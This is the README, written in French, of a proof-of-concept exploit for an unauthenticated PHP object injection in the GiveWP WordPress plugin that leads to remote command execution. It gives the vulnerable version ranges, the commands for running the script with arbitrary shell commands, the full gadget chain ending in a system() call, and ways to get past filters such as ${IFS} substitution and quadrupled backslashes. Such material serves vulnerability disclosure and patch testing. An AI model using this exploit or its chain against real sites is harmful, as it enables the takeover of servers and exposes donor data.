
Preuve de concept d'exploitation pour CVE-2026-82222, une injection d'objets PHP non authentifiée menant à l'exécution de code à distance dans le plugin WordPress GiveWP jusqu'à la version 4.16.7.1.
| Plage | Atteignable ? |
|---|
<= 4.16.5.1 | Installation par défaut. Un formulaire publié, une passerelle active. |
4.16.6 à 4.16.7.1 | Oui, si un formulaire hérité (non-V3) existe. Une installation fraîche uniquement V3 ne l'est pas. |
Python 3.8+ et requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c est défini par défaut sur id. Pas de < > & % dans la commande ; les espaces deviennent ${IFS}.
Passez un identifiant de formulaire si la détection échoue. Passez -g si le script ne trouve pas de passerelle activée.
La requête de don renvoie souvent une erreur HTTP 500 ou expire. C'est normal. L'écriture de session se produit en premier. La sortie de system() se trouve dans la requête suivante (/?give_action=view_receipt et similaires), pas dans un fichier sur le disque.
python cve-2026-82222.py -h pour le reste.
POST give_action=user_register. GiveWP crée le compte et définit un cookie d'authentification. Il ne consulte pas users_can_register.last_name via /wp-admin/profile.php.give_last. process-donation.php lit le nom depuis usermeta, exécute maybeSafeUnserialize (allowed_classes => false), et écrit __PHP_Incomplete_Class dans wp_give_sessions. PHP ré-émet les octets d'origine de l'objet à l'entrée.TCPDF::__destruct() atteint call_user_func_array('system', [cmd]). La sortie standard se trouve dans cette réponse.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name supprime les octets NUL, donc les propriétés du gadget ne sont pas altérées. Les barres obliques inverses sont quadruplées pour survivre à stripslashes_deep puis removeBackslashes.
MIT. Voir LICENSE.